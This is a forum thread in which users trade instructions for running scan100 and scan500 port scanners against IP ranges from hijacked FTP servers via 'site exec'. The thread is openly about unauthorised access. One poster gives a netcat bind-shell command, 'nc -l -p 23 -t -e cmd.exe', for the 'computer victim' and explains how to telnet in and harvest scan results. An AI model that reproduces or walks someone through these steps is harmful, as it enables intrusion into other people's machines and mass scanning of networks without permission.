i was wondering what the comand is for remote scanning with these programms...i heard you can remote scan with them....just cant figure out how!somebody there that can help me out??

thx
Devil

if u wirte scan100 h ?
or scan100, not screen the istruction ??

scan100 [parameter] [startip] [endip]
paramter can be replaced by -p for port and other stuff.. (depends on ur sfind version)
to see all the commands just type scan100 like skorpio said

are we talking about the same thing??i can do that a stro with admins rights??

If your trying to do it from your ftp client i.e not a command line you have to do a 'site exec' e.g 'site exec scan100.exe -p <port> <start ip> <end ip>'

there are lots of possible commands. When you start the program, you'll see something like this (maybe a little different due to other version):

öhhm, one question... has MaXxX a webpage where all new scan-tools can be download (not http://home.hccnet.nl/m3ssi4h.rul3z/ ) ? i mean an aktuall one...?

I try to find these tool with google. Unfortunaltelly i have no access to the download section where you can find these tool.

omg the command is
for example:
scan500 -p 1111 193.6.0.0 193.6.255.255
and search google
it's public so you can find it easily

remote scanning can be done from an ftp server with 'site exec' so... manual give the command site exec scan500.exe [parameters]
Be sure to have exec permission on the ftp server.

ever heard about the -h , - ? , - help function in a commandline tool ? it does a great job if you ask me ...

The newer versions of scan.exe have variable thread counts, find .91 and up, and it'll let you scan.exe -config (threadcount)

Scan500 works best for me.... since the thread count isn't too much, but isn't too small to the point of slowing to a crawl.

scan1000 seems to lag out a lot of comps, id stick to 100 or 500

Hey people. Did anyone have a source code for Sfind or any other program from scan*.exe family ? I'm looking for it very long time and i cant find. Please help me.

If you want to scan remotely don't use the command site exec with scan100 or scan500. I've got some problem with this method.

Just upload netcat on the computer victim and then type nc -l -p 23 -t -e cmd.exe

will get Netcat listening on port 23 (telnet). When it gets connected to
by a client it will spawn a shell (cmd.exe). The -t option tells Netcat
to handle any telnet negotiation the client might expect.

This will allow you to telnet to the machine you have Netcat listening on
and get a cmd.exe shell when you connect. You could just as well use
Netcat instead of telnet.

And when you close the telnet windows the port 23 is not listening anymore.

Just take your results with serv-u or another ftp client.